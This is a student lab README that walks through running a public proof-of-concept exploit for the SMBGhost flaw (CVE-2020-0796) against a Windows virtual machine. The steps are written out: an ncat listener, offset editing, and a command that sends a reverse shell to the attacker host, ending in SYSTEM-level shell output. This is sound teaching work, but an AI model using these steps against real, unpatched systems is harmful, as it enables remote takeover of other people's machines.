Educational proof-of-concept exploit for CVE-2020-0796 (SMBGhost) demonstrating pre-auth RCE on Windows SMBv3. Includes step-by-step lab setup, offset calculation, and reverse shell execution for controlled cybersecurity training.
This project demonstrates a proof-of-concept (PoC) exploit of CVE-2020-0796, also known as SMBGhost - a critical pre-auth RCE vulnerability affecting Windows 10 and Windows Server systems using SMBv3. This was developed as part of a school cybersecurity project. All exploit code credit goes to ZecOps. I have only used and adapted it for educational purposes to demonstrate exploitation of CVE-2020-0796 within a controlled lab environment.
To replicate this demonstration, the following setup is required:
SMBleedingGhost.py by ZecOpscalc_target_offsets.batLaunch Command Prompt on both the Attacker and Target virtual machines.
Execute the following command in each machine:
ipconfig
CVE-2020-0796-RCE-POC-master folder.calc_target_offsets.batCVE-2020-0796-RCE-POC-master folder.SMBleedingGhost.py and open with Notepad.SMBleedingGhost.py file, scroll down and locate the section that begins with OFFSETS = {.Open a new Command Prompt and run:
ncat -lvp 4321
4321 to receive a reverse shell from the Target VM upon successful exploitation.cd Desktop
cd CVE-2020-0796-RCE-POC-master
dir
python SMBleedingGhost.py <target_ip> <attacker_ip> <port>
Example used in this demo:
python SMBleedingGhost.py 192.168.18.61 192.168.18.62 4321
192.168.18.61: Target VM IP192.168.18.62: Attacker VM IP4321: Port used in the netcat listenerIf successful, the netcat window will show:
Microsoft Windows [Version 10.0.18362.356]
(c) 2019 Microsoft Corporation. All rights reserved.
C:\Windows\system32>
This confirms that:
You can validate access by executing:
whoami
This will give:
whoami
nt authority\system
This means that the Attacker VM now has system-level privileges on the Target VM.
You can also run:
ipconfig
To verify you’re interacting with the Target VM’s network.

Note: The Target VM may crash after exploitation. If it does, you may restart it. The attacker session will need to be re-established after reboot.
This demonstration is based on the publicly available proof-of-concept developed by ZecOps.
All exploit code credit goes to ZecOps. I have only used and adapted it for educational purposes to demonstrate exploitation of CVE-2020-0796 within a controlled lab environment.
This repository is created for educational purposes only.
All tools, scripts, and techniques demonstrated are intended to help understand cybersecurity vulnerabilities in a controlled lab environment. Do not attempt to use any of the provided materials on systems or networks that you do not own or have explicit permission to test.
Any misuse of the software will not be the responsibility of the author.